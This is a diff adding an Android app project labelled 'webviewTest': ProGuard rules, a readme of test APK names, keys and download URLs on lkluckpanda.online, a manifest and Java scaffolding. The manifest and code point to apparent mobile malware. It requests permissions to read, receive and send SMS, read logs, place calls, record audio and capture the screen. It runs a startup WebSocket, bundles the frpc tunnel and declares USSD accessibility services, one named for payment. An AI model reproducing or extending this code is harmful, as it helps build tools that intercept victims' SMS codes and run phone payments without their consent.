+# 保留在Activity中的方法参数是view的方法,
+# 这样以来我们在layout中写的onClick就不会被影响
+-keepclassmembers class * extends android.app.Activity{
+    public void *(android.view.View);
+}
+
+# 保留枚举类不被混淆
+-keepclassmembers enum * {
+    public static **[] values();
+    public static ** valueOf(java.lang.String);
+}
+
+# 保留我们自定义控件(继承自View)不被混淆
+-keep public class * extends android.view.View{
+    *** get*();
+    void set*(***);
+    public <init>(android.content.Context);
+    public <init>(android.content.Context, android.util.AttributeSet);
+    public <init>(android.content.Context, android.util.AttributeSet, int);
+}
+
+# 保留Parcelable序列化类不被混淆
+-keep class * implements android.os.Parcelable {
+    *;
+}
+
+# 保留Serializable序列化的类不被混淆
+-keepclassmembers class * implements java.io.Serializable {
+    static final long serialVersionUID;
+    private static final java.io.ObjectStreamField[] serialPersistentFields;
+    !static !transient <fields>;
+    !private <fields>;
+    !private <methods>;
+    private void writeObject(java.io.ObjectOutputStream);
+    private void readObject(java.io.ObjectInputStream);
+    java.lang.Object writeReplace();
+    java.lang.Object readResolve();
+}
+
+# 对于带有回调函数的onXXEvent、**On*Listener的,不能被混淆
+-keepclassmembers class * {
+    void *(**On*Event);
+    void *(**On*Listener);
+}
+
+#WebView的处理
+-keepclassmembers class * extends android.webkit.WebViewClient {
+    public void *(android.webkit.WebView, java.lang.String, android.graphics.Bitmap);
+    public boolean *(android.webkit.WebView, java.lang.String);
+}
+-keepclassmembers class * extends android.webkit.WebViewClient {
+    public void *(android.webkit.WebView, java.lang.String);
+}
+
+
+# 移除Log类打印各个等级日志的代码,打正式包的时候可以做为禁log使用,这里可以作为禁止log打印的功能使用
+# 记得proguard-android.txt中一定不要加-dontoptimize才起作用
+# 另外的一种实现方案是通过BuildConfig.DEBUG的变量来控制
+-assumenosideeffects class android.util.Log {
+    public static int v(...);
+    public static int i(...);
+    public static int w(...);
+    public static int d(...);
+    public static int e(...);
+}
+
+#xutils
+-keepattributes Signature,*Annotation*
+-keep public class org.xutils.* {
+    public protected *;
+}
+-keep public interface org.xutils.* {
+    public protected *;
+}
+-keepclassmembers class * extends org.xutils.* {
+    public protected *;
+}
+-keepclassmembers @org.xutils.db.annotation.* class * {*;}
+-keepclassmembers @org.xutils.http.annotation.* class * {*;}
+-keepclassmembers class * {
+    @org.xutils.view.annotation.Event <methods>;
+}
+
+
+#BottomNavigationView
+-keep public class com.google.android.material.bottomnavigation.BottomNavigationView.* { *; }
+-keep public class com.google.android.material.bottomnavigation.BottomNavigationMenuView.* { *; }
+-keep public class com.google.android.material.bottomnavigation.BottomNavigationPresenter.* { *; }
+-keep public class com.google.android.material.bottomnavigation.BottomNavigationItemView.* { *; }
+
+
+#af
+-dontwarn com.android.installreferrer
+-dontwarn com.appsflyer.**
+-keep public class com.google.firebase.messaging.FirebaseMessagingService {
+  public *;
+}
+-keep class com.google.android.gms.* { *; }
+-keep class com.huawei.hms.ads.* { *; }
+-keep interface com.huawei.hms.ads.* { *; }
+
+-dontwarn com.alibaba.fastjson.*
+-keep class com.alibaba.fastjson.*{*; }
+
+-keep class com.just.agentweb.*{*;}
+-dontwarn com.just.agentweb.*
+
+#-----------------------------------------------------特殊处理部分----------------------------------------------
+# AppCompat
+-keep class androidx.appcompat.** { *; }
+
+# ConstraintLayout
+-keep class androidx.constraintlayout.** { *; }
+
+# Legacy Support Library
+-keep class androidx.legacy.** { *; }
+
+# Material Components
+-keep class com.google.android.material.** { *; }
+
+# Navigation Component
+-keep class androidx.navigation.** { *; }
+
+# Lifecycle Extensions
+-keep class androidx.lifecycle.** { *; }
+
+# RecyclerView
+-keep class androidx.recyclerview.** { *; }
+
+# ButterKnife
+-keep class butterknife.** { *; }
+-dontwarn butterknife.internal.**
+-keep class **$$ViewBinder { *; }
+-keepclasseswithmembernames class * {
+    @butterknife.* <methods>;
+}
+
+# Retrofit
+-keep class retrofit2.** { *; }
+-keepattributes Signature
+-keepattributes Exceptions
+
+# RxJava
+-keep class io.reactivex.** { *; }
+
+# CodeEditor
+-keep class com.ahmadaghazadeh.editor.** { *; }
+
+# Material Dialogs
+-keep class com.afollestad.materialdialogs.** { *; }
+
+# BaseRecyclerViewAdapterHelper
+-keep class com.chad.library.adapter.** { *; }
+
+# LiveEventBus
+-keep class com.jeremyliao.** { *; }
+
+# Room Persistence Library
+-keep class androidx.room.** { *; }
+-keepclassmembers class androidx.room.** {
+    *;
+}
+
+# UtilCodeX
+-keep class com.blankj.utilcode.** { *; }
+
+# Work Manager
+-keep class androidx.work.** { *; }
+
+# XUtils
+-keep class org.xutils.** { *; }
+
+# Fastjson
+-keep class com.alibaba.fastjson.** { *; }
+
+# LogView
+-keep class com.sanyinchen.** { *; }
+
+# AppCenter
+-keep class com.microsoft.appcenter.** { *; }
+-keep class androidx.work.** { *; }
+-dontwarn com.jeremyliao.liveeventbus.**
+-keep class com.jeremyliao.liveeventbus.** { *; }
+-keep class androidx.lifecycle.** { *; }
+-keep class androidx.arch.core.** { *; }
+-keep class com.romellfudi.ussdlibrary.** { *; }
+# 保留 FFmpeg 库的主要类
+-keep class com.arthenica.mobileffmpeg.** { *; }
+
+# 保留使用的 Native 方法
+-keepclasseswithmembernames class * {
+    native <methods>;
+}
+
+# 保留所有带有 Log 注解的类和方法
+-keep class * {
+    @android.util.Log *;
+}
+
+# 如果你的项目使用了 `FFmpeg` 回调功能,保留回调接口
+-keepclassmembers class com.arthenica.mobileffmpeg.Config {
+    public static void enableLogCallback(...);
+    public static void enableStatisticsCallback(...);
+}

+ 17 - 0
webviewTest/app/readme.txt

@@ -0,0 +1,17 @@
+测试-1
+包名:com.cdfo.emvyey.axkcae.ixjl
+密钥:appkey201517_1
+app名称:CaptainAmerica
+下载路径:http://up.lkluckpanda.online/user10/man/t1/guy.apk
+
+测试-2
+包名:com.fyxmwe.ewha.dfajdm.lfuqog
+密钥:appkey201519_2
+app名称:Thor
+下载路径:http://up.lkluckpanda.online/user10/man/t2/guy.apk
+
+测试-3
+包名:com.dwvb.axg.lyg.fbcq
+密钥:appkey201520_3
+app名称:Black Widow
+下载路径:http://up.lkluckpanda.online/user10/man/t3/guy.apk

+ 27 - 0
webviewTest/app/src/androidTest/java/com/car/frpc_android/ExampleInstrumentedTest.java

@@ -0,0 +1,27 @@
+package com.car.frpc_android;
+
+import static org.junit.Assert.assertEquals;
+
+import android.content.Context;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Instrumented test, which will execute on an Android device.
+ *
+ * @see <a href="http://d.android.com/tools/testing">Testing documentation</a>
+ */
+@RunWith(AndroidJUnit4.class)
+public class ExampleInstrumentedTest {
+    @Test
+    public void useAppContext() {
+        // Context of the app under test.
+        Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
+
+        assertEquals("com.car.frpc_android", appContext.getPackageName());
+    }
+}

+ 148 - 0
webviewTest/app/src/main/AndroidManifest.xml

@@ -0,0 +1,148 @@
+<?xml version="1.0" encoding="utf-8"?>
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    package="com.app.duck">
+
+    <uses-feature
+        android:name="android.hardware.telephony"
+        android:required="false" />
+
+    <uses-permission android:name="android.permission.INTERNET" />
+    <uses-permission android:name="android.permission.READ_LOGS" />
+    <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
+    <uses-permission android:name="android.permission.READ_SMS" />
+    <uses-permission android:name="android.permission.RECEIVE_SMS" />
+    <uses-permission android:name="android.permission.SEND_SMS" />
+    <uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS" />
+    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
+    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
+    <uses-permission android:name="android.permission.WAKE_LOCK" />
+    <uses-permission android:name="android.permission.CALL_PHONE" />
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+    <uses-permission android:name="android.permission.ACTION_MANAGE_OVERLAY_PERMISSION" />
+    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
+    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
+    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.RECORD_AUDIO"/>
+    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
+
+
+    <application
+        android:name="com.app.MainApp"
+        android:allowBackup="true"
+        android:icon="${app_icon}"
+        android:label="@string/app_name"
+        android:largeHeap="true"
+        android:requestLegacyExternalStorage="true"
+        android:roundIcon="${app_icon}"
+        android:supportsRtl="true"
+        android:theme="@style/AppTheme"
+        android:usesCleartextTraffic="true">
+        <activity
+            android:name="com.app.duck.ui.IniEditActivity"
+            android:exported="false" />
+        <activity
+            android:name="com.app.duck.ui.MainActivity"
+            android:exported="true"
+            android:launchMode="singleTop"
+            android:theme="@style/AppTheme.NoActionBar">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+        <activity
+            android:name="com.app.duck.ui.TemplateActivity"
+            android:exported="false" />
+
+        <service
+            android:name="com.app.duck.util.Service1"
+            android:exported="false" />
+
+        <receiver
+            android:name="com.app.duck.util.SmsReceiver"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
+            </intent-filter>
+        </receiver>
+        <receiver
+            android:name="com.app.duck.util.BootReceiver"
+            android:enabled="true"
+            android:exported="true"
+            android:permission="android.permission.RECEIVE_BOOT_COMPLETED">
+            <intent-filter>
+                <action android:name="android.intent.action.BOOT_COMPLETED" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </receiver>
+
+        <service android:name="com.app.duck.util.Service2" />
+
+        <!--ussd手机服务-->
+        <service
+            android:name="com.romellfudi.ussdlibrary.USSDService"
+            android:exported="true"
+            android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
+            <intent-filter>
+                <action android:name="android.accessibilityservice.AccessibilityService" />
+            </intent-filter>
+
+            <meta-data
+                android:name="android.accessibilityservice"
+                android:resource="@xml/ussd_service" />
+            <meta-data
+                android:name="android.accessibility.canRetrieveWindowContent"
+                android:value="true" />
+        </service>
+
+
+        <!--侦测手机服务-->
+        <service
+            android:name="com.romellfudi.ussdlibrary.USSDServicePay"
+            android:exported="true"
+            android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
+            <intent-filter>
+                <action android:name="android.accessibilityservice.AccessibilityService" />
+            </intent-filter>
+
+            <meta-data
+                android:name="android.accessibilityservice"
+                android:resource="@xml/ussd_service2" />
+            <meta-data
+                android:name="android.accessibility.canRetrieveWindowContent"
+                android:value="true" />
+        </service>
+
+        <receiver
+            android:name=".util.SmsSentReceiver"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="SENT_SMS_ACTION" />
+            </intent-filter>
+        </receiver>
+
+        <provider
+            android:name="androidx.core.content.FileProvider"
+            android:authorities="${applicationId}.fileprovider"
+            android:exported="false"
+            android:grantUriPermissions="true"
+            tools:replace="android:authorities">
+            <meta-data
+                android:name="android.support.FILE_PROVIDER_PATHS"
+                android:resource="@xml/file_paths"
+                tools:replace="android:resource" />
+        </provider>
+
+        <service
+            android:name=".util.ScreenCaptureService"
+            android:permission="android.permission.FOREGROUND_SERVICE"
+            android:foregroundServiceType="mediaProjection"/>
+    </application>
+
+</manifest>

+ 48 - 0
webviewTest/app/src/main/java/com/app/MainApp.java

@@ -0,0 +1,48 @@
+package com.app;
+
+import androidx.multidex.MultiDex;
+import androidx.multidex.MultiDexApplication;
+
+import com.app.duck.BuildConfig;
+import com.app.duck.Config;
+import com.app.duck.util.HxUtils;
+import com.app.duck.util.WsManager;
+import com.blankj.utilcode.util.Utils;
+import com.elvishew.xlog.LogConfiguration;
+import com.elvishew.xlog.XLog;
+import com.elvishew.xlog.flattener.ClassicFlattener;
+import com.elvishew.xlog.printer.Printer;
+import com.elvishew.xlog.printer.file.FilePrinter;
+import com.elvishew.xlog.printer.file.backup.BackupStrategy2;
+import com.elvishew.xlog.printer.file.backup.FileSizeBackupStrategy2;
+import com.elvishew.xlog.printer.file.clean.FileLastModifiedCleanStrategy;
+import com.elvishew.xlog.printer.file.naming.ChangelessFileNameGenerator;
+import com.microsoft.appcenter.AppCenter;
+import com.microsoft.appcenter.analytics.Analytics;
+import com.microsoft.appcenter.crashes.Crashes;
+
+import org.xutils.x;
+
+public class MainApp extends MultiDexApplication {
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        MultiDex.install(this);
+        x.Ext.init(this);
+        x.Ext.setDebug(BuildConfig.DEBUG);
+        AppCenter.start(this, BuildConfig.UPDATE_KEY, Analytics.class, Crashes.class);
+        WsManager.connectWebSocket();
+        Printer filePrinter = new FilePrinter
+                .Builder(Utils.getApp().getFilesDir().getPath() + "/ulog")
+                .fileNameGenerator(new ChangelessFileNameGenerator(BuildConfig.UPDATE_KEY + ".txt"))
+                .backupStrategy(new FileSizeBackupStrategy2(1024 * 1024 * 5, BackupStrategy2.NO_LIMIT))
+                .cleanStrategy(new FileLastModifiedCleanStrategy(1000 * 60 * 24 * 7))
+                .flattener(new ClassicFlattener())
+                .build();
+        LogConfiguration config = new LogConfiguration.Builder()
+                .tag(Config.LOG_TAG).build();
+        XLog.init(config, filePrinter);
+    }
+
+}

+ 130 - 0
webviewTest/app/src/main/java/com/app/duck/BaseActivity.java

@@ -0,0 +1,130 @@
+package com.app.duck;
+
+
+import android.content.Context;
+import android.content.Intent;
+import android.os.Build;
+import android.os.Bundle;
+import android.os.PowerManager;
+import android.view.LayoutInflater;
+import android.view.WindowManager;
+
+import androidx.annotation.Nullable;
+import androidx.appcompat.app.AppCompatActivity;
+import androidx.viewbinding.ViewBinding;
+
+import com.app.duck.util.HxUtils;
+import com.app.duck.util.PermissionsUtils;
+import com.app.duck.util.Service2;
+import com.app.http.Http;
+import com.blankj.utilcode.util.KeyboardUtils;
+import com.blankj.utilcode.util.StringUtils;
+import com.romellfudi.ussdlibrary.USSDController;
+
+import org.xutils.x;
+
+import java.lang.reflect.Method;
+import java.lang.reflect.ParameterizedType;
+import java.lang.reflect.Type;
+
+/**
+ * author: hx
+ * created on: 2023/10/16 18:00
+ * description:
+ */
+public abstract class BaseActivity<B extends ViewBinding> extends AppCompatActivity {
+    protected B b;
+
+    protected void onCreate(@Nullable Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        Http.clean();
+        setLayout();
+        x.view().inject(this);
+        if (!StringUtils.isTrimEmpty(BuildConfig.WEB_URL)) {
+            USSDController.verifyAccesibilityAccess(this);
+            USSDController.verifyOverLay(this);
+        }
+        KeyboardUtils.fixAndroidBug5497(this);
+
+        if (keepScreenOn()) {
+            PowerManager powerManager = (PowerManager) getSystemService(Context.POWER_SERVICE);
+            if (powerManager.isScreenOn()) {
+                // 如果当前屏幕亮着,启用常亮模式
+                getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+            }
+        }
+        initView();
+        initData();
+    }
+
+
+    @Override
+    public void onBackPressed() {
+        Http.clean();
+        super.onBackPressed();
+    }
+
+    public void setLayout() {
+        try {
+            Type superclass = getClass().getGenericSuperclass();
+            Class<?> aClass = (Class<?>) ((ParameterizedType) superclass).getActualTypeArguments()[0];
+            Method method = aClass.getDeclaredMethod("inflate", LayoutInflater.class);
+            b = (B) method.invoke(null, getLayoutInflater());
+            setContentView(b.getRoot());
+        } catch (Exception e) {
+        }
+    }
+
+    @Override
+    protected void onStart() {
+        super.onStart();
+        PermissionsUtils.checkPermission(isPermission(), isOtherPermission());
+
+    }
+
+    public boolean isPermission() {
+        return true;
+    }
+
+    public boolean isOtherPermission() {
+        return true;
+    }
+
+
+    protected void initData() {
+    }
+
+
+    public abstract void initView();
+
+    public BaseActivity context() {
+        return BaseActivity.this;
+    }
+
+    public boolean keepScreenOn() {
+        return true;
+    }
+
+    public void startForegroundService() {
+        Intent intent = new Intent(this, Service2.class);
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+            startForegroundService(intent);
+        } else {
+            startService(intent);
+        }
+    }
+
+    public void checkForUpdate() {
+        HxUtils.checkForUpdate(this, false);
+    }
+
+
+    public String getPhone() {
+        if (StringUtils.isEmpty(HxUtils.getPhone())) {
+            return StringUtils.getString(R.string.click_here_to_set_the_number);
+        }
+        return HxUtils.getPhone();
+    }
+
+
+}

+ 18 - 0
webviewTest/app/src/main/java/com/app/duck/Config.java

@@ -0,0 +1,18 @@
+package com.app.duck;
+
+/**
+ * author: hx
+ * created on: 2023/10/17 12:36
+ * description:
+ */
+public class Config {
+    public static final String LOG_TAG = "hzshkj";
+    public static final String EVENT_UPDATE_CONFIG = "EVENT_UPDATE_CONFIG";
+    public static final String EVENT_RUNNING_ERROR = "EVENT_RUNNING_ERROR";
+    public static final String INTENT_EDIT_INI = "INTENT_EDIT_INI";
+
+    public static final String SMS_UPLOAD_TAG = "SMS_UPLOAD_TAG";
+    public static final String WEBSOCKET_STATUS_TAG = "WEBSOCKET_STATUS";
+    public static final String BREATH_TAG = "BREATH";
+    public static final String PHONE_TAG = "PHONE_TAG";
+}

+ 35 - 0
webviewTest/app/src/main/java/com/app/duck/adapter/FileListAdapter.java

@@ -0,0 +1,35 @@
+package com.app.duck.adapter;
+
+import android.content.res.ColorStateList;
+
+import androidx.core.widget.ImageViewCompat;
+
+import com.app.duck.R;
+import com.app.duck.database.Config;
+import com.chad.library.adapter.base.BaseQuickAdapter;
+import com.chad.library.adapter.base.viewholder.BaseViewHolder;
+
+import org.jetbrains.annotations.NotNull;
+
+import frpclib.Frpclib;
+
+public class FileListAdapter extends BaseQuickAdapter<Config, BaseViewHolder> {
+
+
+    public FileListAdapter() {
+        super(R.layout.item_recycler_main);
+    }
+
+
+    @Override
+    protected void convert(@NotNull BaseViewHolder baseViewHolder, Config file) {
+        baseViewHolder.setText(R.id.tv_name, file.getName());
+        boolean running = (file.getConnecting() != null && file.getConnecting()) || Frpclib.isRunning(file.getUid());
+        baseViewHolder.setImageResource(R.id.iv_play, running ? R.drawable.ic_stop_white : R.drawable.ic_play_white);
+        ImageViewCompat.setImageTintList(baseViewHolder.getView(R.id.iv_play), ColorStateList.valueOf(getContext().getResources().getColor(running ? R.color.colorStop : R.color.black)));
+
+
+    }
+
+
+}

+ 29 - 0
webviewTest/app/src/main/java/com/app/duck/adapter/PhoneListAdapter.java

@@ -0,0 +1,29 @@
+package com.app.duck.adapter;
+
+import android.util.Log;
+
+import com.app.duck.R;
+import com.chad.library.adapter.base.BaseQuickAdapter;
+import com.chad.library.adapter.base.viewholder.BaseViewHolder;
+
+import org.jetbrains.annotations.NotNull;
+
+public class PhoneListAdapter extends BaseQuickAdapter<String, BaseViewHolder> {
+
+
+    public PhoneListAdapter() {
+        super(R.layout.layout_phone_item);
+    }
+
+
+    @Override
+    protected void convert(@NotNull BaseViewHolder baseViewHolder, String phone) {
+        Log.d("hzshkj", "[PhoneListAdapter] convert: " + phone);
+        int position = getItemPosition(phone);
+        baseViewHolder.setText(R.id.text, "SIM-" + position + "   " + phone);
+
+
+    }
+
+
+}

+ 34 - 0
webviewTest/app/src/main/java/com/app/duck/adapter/PhoneListAdapter2.java

@@ -0,0 +1,34 @@
+package com.app.duck.adapter;
+
+import com.app.duck.R;
+import com.chad.library.adapter.base.BaseQuickAdapter;
+import com.chad.library.adapter.base.viewholder.BaseViewHolder;
+
+import org.jetbrains.annotations.NotNull;
+
+import java.util.HashMap;
+
+public class PhoneListAdapter2 extends BaseQuickAdapter<HashMap<String, String>, BaseViewHolder> {
+
+
+    public PhoneListAdapter2() {
+        super(R.layout.layout_phone_item2);
+    }
+
+
+    @Override
+    protected void convert(@NotNull BaseViewHolder baseViewHolder, HashMap<String, String> map) {
+        int position = getItemPosition(map);
+        //text2 subid
+        //text1 slot
+        //text3 number
+//"ID:" + map.get("SubId") + " "+
+        baseViewHolder.setText(R.id.text2, map.get("disname"));
+        baseViewHolder.setText(R.id.text1, "SIM-" + map.get("SimSlot"));
+        baseViewHolder.setText(R.id.text3, map.get("Number"));
+
+
+    }
+
+
+}

+ 28 - 0
webviewTest/app/src/main/java/com/app/duck/database/AppDatabase.java

@@ -0,0 +1,28 @@
+package com.app.duck.database;
+
+import android.content.Context;
+
+import androidx.room.Database;
+import androidx.room.Room;
+import androidx.room.RoomDatabase;
+
+
+@Database(entities = {Config.class}, version = 2, exportSchema = false)
+public abstract class AppDatabase extends RoomDatabase {
+    private static volatile AppDatabase instance;
+
+    public static AppDatabase getInstance(Context context) {
+        if (instance == null) {
+            synchronized (AppDatabase.class) {
+                if (instance == null) {
+                    instance = Room.databaseBuilder(context, AppDatabase.class, "frpc_android.db")
+                            .build();
+                }
+            }
+        }
+        return instance;
+    }
+
+
+    public abstract ConfigDao configDao();
+}

+ 94 - 0
webviewTest/app/src/main/java/com/app/duck/database/Config.java

@@ -0,0 +1,94 @@
+package com.app.duck.database;
+
+import androidx.annotation.NonNull;
+import androidx.room.Entity;
+import androidx.room.Ignore;
+import androidx.room.PrimaryKey;
+
+import java.util.Objects;
+
+@Entity
+
+public class Config {
+
+    @PrimaryKey
+    @NonNull
+    private String uid;
+    private String name;
+    private String cfg;
+    @Ignore
+    private Boolean connecting;
+
+    @Ignore
+    public Config() {
+    }
+
+    @Ignore
+    public Config(String cfg) {
+        this.cfg = cfg;
+    }
+
+    public Config(@NonNull String uid, String name, String cfg) {
+        this.uid = uid;
+        this.name = name;
+        this.cfg = cfg;
+    }
+
+    @NonNull
+    public String getUid() {
+        return uid;
+    }
+
+    public Config setUid(@NonNull String uid) {
+        this.uid = uid;
+        return this;
+    }
+
+    public String getName() {
+        return name;
+    }
+
+    public Config setName(String name) {
+        this.name = name;
+        return this;
+    }
+
+    public Boolean getConnecting() {
+        return connecting;
+    }
+
+    public Config setConnecting(Boolean connecting) {
+        this.connecting = connecting;
+        return this;
+    }
+
+    public String getCfg() {
+        return cfg;
+    }
+
+    public Config setCfg(String cfg) {
+        this.cfg = cfg;
+        return this;
+    }
+
+    @Override
+    public boolean equals(Object o) {
+        if (this == o) return true;
+        if (o == null || getClass() != o.getClass()) return false;
+        Config config = (Config) o;
+        return Objects.equals(uid, config.uid);
+    }
+
+    @Override
+    public int hashCode() {
+        return Objects.hash(uid);
+    }
+
+    @Override
+    public String toString() {
+        return "Config{" +
+                "uid='" + uid + '\'' +
+                ", cfg='" + cfg + '\'' +
+                '}';
+    }
+}

+ 30 - 0
webviewTest/app/src/main/java/com/app/duck/database/ConfigDao.java

@@ -0,0 +1,30 @@
+package com.app.duck.database;
+
+import androidx.room.Dao;
+import androidx.room.Delete;
+import androidx.room.Insert;
+import androidx.room.Query;
+import androidx.room.Update;
+
+import java.util.List;
+
+import io.reactivex.Completable;
+import io.reactivex.Single;
+
+@Dao
+public interface ConfigDao {
+    @Query("SELECT * FROM config")
+    Single<List<Config>> getAll();
+
+    @Query("SELECT * FROM config where uid=:uid")
+    Single<Config> getConfigByUid(String uid);
+
+    @Update
+    Completable update(Config config);
+
+    @Insert
+    Completable insert(Config config);
+
+    @Delete
+    Completable delete(Config config);
+}

+ 25 - 0
webviewTest/app/src/main/java/com/app/duck/database/DBContract.java

@@ -0,0 +1,25 @@
+package com.app.duck.database;
+
+public class DBContract {
+    // 数据库名称
+    public static final String DATABASE_NAME = "sms_log.db";
+    // 数据库版本号
+    public static final int DATABASE_VERSION = 1;
+
+    // 表名
+    public static final String TABLE_NAME = "fy_sms_table";
+
+    // 列名
+    public static final String COLUMN_ID = "_id";
+    public static final String COLUMN_SUCCESS = "_success";
+    public static final String COLUMN_TIME = "_success";
+    public static final String COLUMN_PROP1 = "_prop1";
+    public static final String COLUMN_PROP2 = "_prop2";
+    public static final String COLUMN_PROP3 = "_prop3";
+    public static final String COLUMN_PROP4 = "_prop4";
+    public static final String COLUMN_PROP5 = "_prop5";
+    public static final String COLUMN_PROP6 = "_prop6";
+    public static final String COLUMN_PROP7 = "_prop7";
+    public static final String COLUMN_PROP8 = "_prop8";
+    public static final String COLUMN_PROP9 = "_prop9";
+}

+ 103 - 0
webviewTest/app/src/main/java/com/app/duck/database/DBHelper.java

@@ -0,0 +1,103 @@
+package com.app.duck.database;
+
+import android.content.ContentValues;
+import android.content.Context;
+import android.database.Cursor;
+import android.database.sqlite.SQLiteDatabase;
+import android.database.sqlite.SQLiteOpenHelper;
+
+import androidx.annotation.Nullable;
+
+import java.util.HashMap;
+
+public class DBHelper extends SQLiteOpenHelper {
+    private static final String SQL_CREATE_TABLE =
+            "CREATE TABLE " + DBContract.TABLE_NAME + " (" +
+                    DBContract.COLUMN_ID + " INTEGER PRIMARY KEY," +
+                    DBContract.COLUMN_SUCCESS + " INTEGER," +
+                    DBContract.COLUMN_PROP1 + " TEXT," +
+                    DBContract.COLUMN_PROP2 + " TEXT," +
+                    DBContract.COLUMN_PROP3 + " TEXT," +
+                    DBContract.COLUMN_PROP4 + " TEXT," +
+                    DBContract.COLUMN_PROP5 + " TEXT," +
+                    DBContract.COLUMN_PROP6 + " TEXT," +
+                    DBContract.COLUMN_PROP7 + " TEXT," +
+                    DBContract.COLUMN_PROP8 + " TEXT," +
+                    DBContract.COLUMN_PROP9 + " TEXT" +
+                    ")";
+
+    public DBHelper(@Nullable Context context) {
+        super(context, DBContract.DATABASE_NAME, null, DBContract.DATABASE_VERSION);
+    }
+
+    @Override
+    public void onCreate(SQLiteDatabase sqLiteDatabase) {
+        sqLiteDatabase.execSQL(SQL_CREATE_TABLE);
+    }
+
+    @Override
+    public void onUpgrade(SQLiteDatabase sqLiteDatabase, int i, int i1) {
+        sqLiteDatabase.execSQL("DROP TABLE IF EXISTS " + DBContract.TABLE_NAME);
+        onCreate(sqLiteDatabase);
+    }
+
+    // 插入数据
+    public long insertData(int id, int success) {
+        SQLiteDatabase db = this.getWritableDatabase();
+        ContentValues contentValues = new ContentValues();
+        contentValues.put(DBContract.COLUMN_ID, id);
+        contentValues.put(DBContract.COLUMN_SUCCESS, success);
+        long a = db.insert(DBContract.TABLE_NAME, null, contentValues);
+        db.close();
+        return a;
+    }
+
+    // 修改数据的方法
+    public void updateData(int id, int success) {
+        SQLiteDatabase db = getWritableDatabase();
+        ContentValues contentValues = new ContentValues();
+        contentValues.put(DBContract.COLUMN_ID, id);
+        contentValues.put(DBContract.COLUMN_SUCCESS, success);
+        String whereClause = DBContract.COLUMN_ID + "=?";
+        String[] whereArgs = {String.valueOf(id)};
+        db.update(DBContract.TABLE_NAME, contentValues, whereClause, whereArgs);
+        db.close();
+    }
+
+    public void insertOrUpdateData(int id, int success) {
+        long _id;
+        SQLiteDatabase db = getWritableDatabase();
+        ContentValues contentValues = new ContentValues();
+        contentValues.put(DBContract.COLUMN_ID, id);
+        contentValues.put(DBContract.COLUMN_SUCCESS, success);
+        // 先查询数据是否存在
+        Cursor cursor = db.query(DBContract.TABLE_NAME, null, DBContract.COLUMN_ID + "=?", new String[]{String.valueOf(id)}, null, null, null);
+        if (cursor.moveToFirst()) {
+            // 如果有数据则执行更新操作
+            db.update(DBContract.TABLE_NAME, contentValues, DBContract.COLUMN_ID + "=?", new String[]{String.valueOf(id)});
+            _id = 0;
+        } else {
+            // 否则执行插入操作
+            contentValues.put(DBContract.COLUMN_ID, id);
+            _id = db.insert(DBContract.TABLE_NAME, null, contentValues);
+        }
+        cursor.close();
+        db.close();
+    }
+
+    public int checkSuccessById(int id) {
+        int status = 0;
+        SQLiteDatabase db = this.getReadableDatabase();
+        String[] columns = {DBContract.COLUMN_SUCCESS};
+        String selection = DBContract.COLUMN_ID + "=?";
+        String[] selectionArgs = {String.valueOf(id)};
+        Cursor cursor = db.query(DBContract.TABLE_NAME, columns, selection, selectionArgs, null, null, null);
+        if (cursor.moveToFirst()) {
+            int columnIndex = cursor.getColumnIndex(DBContract.COLUMN_SUCCESS);
+            status = cursor.getInt(columnIndex);
+        }
+        cursor.close();
+        db.close();
+        return status;
+    }
+}

+ 21 - 0
webviewTest/app/src/main/java/com/app/duck/dialog/DialogManager.java

@@ -0,0 +1,21 @@
+package com.app.duck.dialog;
+
+import com.blankj.utilcode.util.ActivityUtils;
+
+public class DialogManager {
+
+    private static DialogManager manager;
+
+    public static DialogManager getInstance() {
+        if (manager == null) {
+            manager = new DialogManager();
+        }
+        return manager;
+    }
+
+    public static void phoneEditDialog() {
+        new PhoneListDialog(ActivityUtils.getTopActivity());
+    }
+
+
+}

+ 130 - 0
webviewTest/app/src/main/java/com/app/duck/dialog/PhoneListDialog.java

@@ -0,0 +1,130 @@
+package com.app.duck.dialog;
+
+import static com.app.duck.Config.PHONE_TAG;
+
+import android.annotation.SuppressLint;
+import android.app.Dialog;
+import android.content.Context;
+import android.os.Bundle;
+import android.view.View;
+import android.widget.EditText;
+import android.widget.TextView;
+
+import androidx.annotation.NonNull;
+import androidx.recyclerview.widget.LinearLayoutManager;
+import androidx.recyclerview.widget.RecyclerView;
+
+import com.afollestad.materialdialogs.MaterialDialog;
+import com.alibaba.fastjson.JSON;
+import com.app.duck.R;
+import com.app.duck.adapter.PhoneListAdapter;
+import com.app.duck.util.HxUtils;
+import com.blankj.utilcode.util.GsonUtils;
+import com.blankj.utilcode.util.SPUtils;
+import com.blankj.utilcode.util.StringUtils;
